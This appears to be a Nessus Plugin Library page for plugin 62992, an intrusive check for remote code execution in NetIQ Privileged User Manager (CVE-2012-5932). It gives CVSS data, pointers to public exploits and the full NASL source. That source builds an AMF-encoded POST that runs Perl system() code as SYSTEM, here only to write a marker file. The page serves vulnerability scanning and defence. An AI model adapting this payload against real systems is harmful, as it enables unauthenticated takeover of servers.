NetIQ Privileged User Manager ldapagnt_eval() Function Remote Code Execution (intrusive check) - Nessus

Critical   Plugin ID: 62992

This page contains detailed information about the NetIQ Privileged User Manager ldapagnt_eval() Function Remote Code Execution (intrusive check) Nessus plugin including available exploits and PoCs found on GitHub, in Metasploit or Exploit-DB for verifying of this vulnerability.

Plugin Overview


ID: 62992
Name: NetIQ Privileged User Manager ldapagnt_eval() Function Remote Code Execution (intrusive check)
Filename: netiq_pum_command_exec.nasl
Vulnerability Published: 2012-11-15
This Plugin Published: 2012-11-21
Last Modification Time: 2021-01-19
Plugin Version: 1.18
Plugin Type: remote
Plugin Family: CGI abuses
Dependencies: netiq_pum_detect.nasl
Required KB Items [?]: www/netiq_pum
Excluded KB Items: Settings/disable_cgi_scanning

Vulnerability Information


Severity: Critical
Vulnerability Published: 2012-11-15
Patch Published: 2012-11-20
CVE [?]: CVE-2012-5932
CPE [?]: cpe:/a:netiq:privileged_user_manager

Synopsis

The remote host has a web application that is affected by a remote code execution vulnerability.

Description

The NetIQ Privileged User Manager install hosted on the remote web server contains a flaw that is triggered when an error occurs in the 'ldapagnt_eval()' function when parsing requests. An unauthenticated attacker could exploit this flaw to execute arbitrary code with SYSTEM privileges.

Nessus was able to exploit this vulnerability via a specially crafted POST request and create a remotely-accessible file on the web server.

Solution

Apply NetIQ Privileged User Manager 2.3.1 HF2 (2.3.1-2) or later.

Public Exploits


Target Network Port(s): 80, 443
Target Asset(s): Services/www
Exploit Available: True (Metasploit Framework, Exploit-DB, D2 Elliot)
Exploit Ease: Exploits are available

Here's the list of publicly known exploits and PoCs for verifying the NetIQ Privileged User Manager ldapagnt_eval() Function Remote Code Execution (intrusive check) vulnerability:

  1. Metasploit: exploit/windows/novell/netiq_pum_eval
    [NetIQ Privileged User Manager 2.3.1 ldapagnt_eval() Remote Perl Code Execution]
  2. Exploit-DB: exploits/windows/remote/22738.txt
    [EDB-22738: Novell NetIQ Privileged User Manager 2.3.1 - 'ldapagnt.dll' ldapagnt_eval() Perl Code Evaluation Remote Code Execution]
  3. D2 Elliot: novell_netiq_2.3.1_rce.html
    [Novell NetIQ 2.3.1 RCE]

Before running any exploit against any system, make sure you are authorized by the owner of the target system(s) to perform such activity. In any other case, this would be considered as an illegal activity.

WARNING: Beware of using unverified exploits from sources such as GitHub or Exploit-DB. These exploits and PoCs could contain malware. For more information, see how to use exploits safely.

Risk Information


CVSS V2 Vector [?]: AV:N/AC:L/Au:N/C:C/I:C/A:C/E:F/RL:U/RC:ND
CVSS Base Score:10.0 (High)
Impact Subscore:10.0
Exploitability Subscore:10.0
CVSS Temporal Score:9.5 (High)
CVSS Environmental Score:NA (None)
Modified Impact Subscore:NA
Overall CVSS Score:9.5 (High)
CVSS V3 Vector: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H/E:F/RL:O/RC:X
CVSS Base Score:9.8 (Critical)
Impact Subscore:5.9
Exploitability Subscore:3.9
CVSS Temporal Score:9.1 (Critical)
CVSS Environmental Score:NA (None)
Modified Impact Subscore:NA
Overall CVSS Score:9.1 (Critical)

Go back to menu.

Plugin Source


This is the netiq_pum_command_exec.nasl nessus plugin source code. This script is Copyright (C) 2012-2021 and is owned by Tenable, Inc. or an Affiliate thereof.

#%NASL_MIN_LEVEL 70300
#
# (C) Tenable Network Security, Inc.
#

include('deprecated_nasl_level.inc');
include('compat.inc');

if (description)
{
  script_id(62992);
  script_version("1.18");
  script_set_attribute(attribute:"plugin_modification_date", value:"2021/01/19");

  script_cve_id("CVE-2012-5932");
  script_bugtraq_id(56539);
  script_xref(name:"EDB-ID", value:"22738");

  script_name(english:"NetIQ Privileged User Manager ldapagnt_eval() Function Remote Code Execution (intrusive check)");
  script_summary(english:"Tries to create a file on web server");

  script_set_attribute(attribute:"synopsis", value:
"The remote host has a web application that is affected by a remote 
code execution vulnerability.");
  script_set_attribute(attribute:"description", value:
"The NetIQ Privileged User Manager install hosted on the remote web
server contains a flaw that is triggered when an error occurs in the
'ldapagnt_eval()' function when parsing requests.  An unauthenticated
attacker could exploit this flaw to execute arbitrary code with SYSTEM
privileges. 

Nessus was able to exploit this vulnerability via a specially crafted 
POST request and create a remotely-accessible file on the web server.");
  script_set_attribute(attribute:"see_also", value:"https://support.microfocus.com/kb/doc.php?id=7011385");
  script_set_attribute(attribute:"solution", value:"Apply NetIQ Privileged User Manager 2.3.1 HF2 (2.3.1-2) or later.");
  script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:N/C:C/I:C/A:C");
  script_set_cvss_temporal_vector("CVSS2#E:F/RL:U/RC:ND");
  script_set_cvss3_base_vector("CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H");
  script_set_cvss3_temporal_vector("CVSS:3.0/E:F/RL:O/RC:X");
  script_set_attribute(attribute:"exploitability_ease", value:"Exploits are available");
  script_set_attribute(attribute:"exploit_available", value:"true");
  script_set_attribute(attribute:"d2_elliot_name", value:"Novell NetIQ 2.3.1 RCE");
  script_set_attribute(attribute:"exploit_framework_d2_elliot", value:"true");
  script_set_attribute(attribute:"metasploit_name", value:'NetIQ Privileged User Manager 2.3.1 ldapagnt_eval() Remote Perl Code Execution');
  script_set_attribute(attribute:"exploit_framework_metasploit", value:"true");


  script_set_attribute(attribute:"patch_publication_date",value:"2012/11/20");
  script_set_attribute(attribute:"vuln_publication_date", value:"2012/11/15");
  script_set_attribute(attribute:"plugin_publication_date", value:"2012/11/21");

  script_set_attribute(attribute:"plugin_type", value:"remote");
  script_set_attribute(attribute:"cpe", value:"cpe:/a:netiq:privileged_user_manager");
  script_set_attribute(attribute:"exploited_by_nessus", value:"true");
  script_end_attributes();

  script_category(ACT_DESTRUCTIVE_ATTACK);
  script_family(english:"CGI abuses");

  script_copyright(english:"This script is Copyright (C) 2012-2021 and is owned by Tenable, Inc. or an Affiliate thereof.");

  script_dependencies("netiq_pum_detect.nasl");
  script_require_ports("Services/www", 80, 443);
  script_exclude_keys("Settings/disable_cgi_scanning");
  script_require_keys("www/netiq_pum");

  exit(0);
}

include("audit.inc");
include("byte_func.inc");
include("global_settings.inc");
include("misc_func.inc");
include("http.inc");
include("webapp_func.inc");

# app runs on port 443 by default, but can be configured to run on port 80
port = get_http_port(default:443);

appname = "NetIQ Privileged User Manager";
kb_appname = "netiq_pum";

install = get_install_from_kb(appname:kb_appname, port:port, exit_on_fail:TRUE);
dir = install['dir'];

svc_str = get_kb_item_or_exit("www/"+port+"/"+kb_appname+"/svc_str");

filename = 'Nessus' + rand();
# perl script that will be executed with SYSTEM privs
code = 'system("echo Nessus was here - ' + SCRIPT_NAME + ' > ./service/local/admin/docs/' + filename + '");';

identity = "nessus"; # can be anything

# Try to execute perl script
# AMF encoded data
postdata =
  raw_string(0x00,0x00,0x00,0x00,0x00,0x01,
             0x00,0x14) + # len
  "SPF.Util.callModuleA" + 
  raw_string(0x00,0x00,0x00,0x00,0x02,0x0a,0x0a,0x00,0x00,0x00,0x01,
             0x03, # obj
             0x00,0x03) + # len
  "pkt" +
  raw_string(0x03, # obj
             0x00,0x06) + # len
  "method" +
  raw_string(0x02, # str
             0x00,0x04) + # len
  "eval" +
  raw_string(0x00,0x06) + # len
  "module" +
  raw_string(0x02, # str
             0x00,0x08) + # len
  "ldapagnt" +
  raw_string(0x00,0x04) + # len
  "Eval" +
  raw_string(0x03, # obj
             0x00,0x07) + # len
  "content" + 
  raw_string(0x02) + # str
  mkword(strlen(code) + 4) +
  code +
  raw_string(0x0a,0x0a,0x0a,0x0a, # \n\n\n\n
             0x00,0x00,0x09, # end obj
             0x00,0x00,0x09, # end obj
             0x00,0x03) + # len
  "uid" +
  raw_string(0x02) + # str
  mkword(strlen(identity)) + # len
  identity + 
  raw_string(0x00,0x00,0x09, # end obj
             0x00,0x08) + # len
  "svc_name" +
  raw_string(0x02) + # str
  mkword(strlen(svc_str)) + # len
  svc_str +
  raw_string(0x00,0x00,0x09); # end obj

res = http_send_recv3(
  method:'POST',
  item:dir + '/',
  port:port,
  add_headers:make_array(
    'Content-Type', 'application/x-amf', # required
    'x-flash-version', '11,4,402,278'
  ),
 data:postdata, 
  exit_on_fail:TRUE
);

# give file time to create...
sleep(2);

# check if file exist
res = http_send_recv3(
  method:'GET',
  item:dir + '/' + filename,
  port:port,
  exit_on_fail:TRUE
);

if ('Nessus was here' >< res[2])
{
  report = '\nNessus was able to create the following file on the server : \n\n' +
           '  ' + build_url(qs:dir + '/' + filename, port:port) + '\n';
  security_report_v4(port:port, extra:report, severity:SECURITY_HOLE);
  exit(0);
}
else audit(AUDIT_WEB_APP_NOT_AFFECTED, appname, build_url(qs:dir, port:port));

The latest version of this script can be found in these locations depending on your platform:

  • Linux / Unix:
    /opt/nessus/lib/nessus/plugins/netiq_pum_command_exec.nasl
  • Windows:
    C:\ProgramData\Tenable\Nessus\nessus\plugins\netiq_pum_command_exec.nasl
  • Mac OS X:
    /Library/Nessus/run/lib/nessus/plugins/netiq_pum_command_exec.nasl

Go back to menu.

How to Run


Here is how to run the NetIQ Privileged User Manager ldapagnt_eval() Function Remote Code Execution (intrusive check) as a standalone plugin via the Nessus web user interface (https://localhost:8834/):

  1. Click to start a New Scan.
  2. Select Advanced Scan.
  3. Navigate to the Plugins tab.
  4. On the top right corner click to Disable All plugins.
  5. On the left side table select CGI abuses plugin family.
  6. On the right side table select NetIQ Privileged User Manager ldapagnt_eval() Function Remote Code Execution (intrusive check) plugin ID 62992.
  7. Specify the target on the Settings tab and click to Save the scan.
  8. Run the scan.

Here are a few examples of how to run the plugin in the command line. Note that the examples below demonstrate the usage on the Linux / Unix platform.

Basic usage:

/opt/nessus/bin/nasl netiq_pum_command_exec.nasl -t <IP/HOST>

Run the plugin with audit trail message on the console:

/opt/nessus/bin/nasl -a netiq_pum_command_exec.nasl -t <IP/HOST>

Run the plugin with trace script execution written to the console (useful for debugging):

/opt/nessus/bin/nasl -T - netiq_pum_command_exec.nasl -t <IP/HOST>

Run the plugin with using a state file for the target and updating it (useful for running multiple plugins on the target):

/opt/nessus/bin/nasl -K /tmp/state netiq_pum_command_exec.nasl -t <IP/HOST>

Go back to menu.

References


BID | SecurityFocus Bugtraq ID: See also: Similar and related Nessus plugins:
  • 63185 - NetIQ Privileged User Manager ldapagnt_eval() Function Remote Code Execution (version check)
  • 81405 - NetIQ Access Manager 4.0 < 4.0 SP1 Hotfix 3 Multiple Vulnerabilities
  • 63186 - NetIQ Privileged User Manager Password Change Authentication Bypass (version check)
  • 62991 - NetIQ Privileged User Manager Password Change Authentication Bypass (intrusive check)
  • 63688 - NetIQ Privileged User Manager regclnt.dll Directory Traversal
  • 66408 - Adobe ColdFusion Authentication Bypass (APSB13-13) (intrusive check)
  • 62902 - HP LoadRunner < 11.00 Patch 4 Code Execution (intrusive check)
  • 57701 - HP Managed Printing Administration jobDelivery Script Directory Traversal (intrusive check)
  • 121515 - JBoss Remoting RemoteMessageChannel DoS (intrusive check)
  • 82078 - ManageEngine Desktop Central statusUpdate Arbitrary File Upload RCE (intrusive check)
  • 82080 - ManageEngine Desktop Central Remote Security Bypass (Intrusive Check)
  • 71217 - ManageEngine Desktop Central AgentLogUploadServlet Arbitrary File Upload RCE (intrusive check)
  • 47581 - Novell 'modulemanager' Servlet Arbitrary File Upload (intrusive check)
  • 83289 - Novell ZENworks Configuration Management < 11.3.2 Remote Code Execution (intrusive check)
  • 66914 - Novell ZENworks Control Center File Upload Remote Code Execution (intrusive check)
  • 41947 - Adobe RoboHelp Server Security Bypass (APSA09-05 / intrusive check)
  • 59208 - Symantec Web Gateway ipchange.php Shell Command Injection (SYM12-006) (intrusive check)
  • 59210 - Symantec Web Gateway upload_file() Remote Code Execution (SYM12-006) (intrusive check)

Version


This page has been produced using Nessus Professional 10.1.2 (#68) LINUX, Plugin set 202205072148.
Plugin file netiq_pum_command_exec.nasl version 1.18. For more plugins, visit the Nessus Plugin Library.

Go back to menu.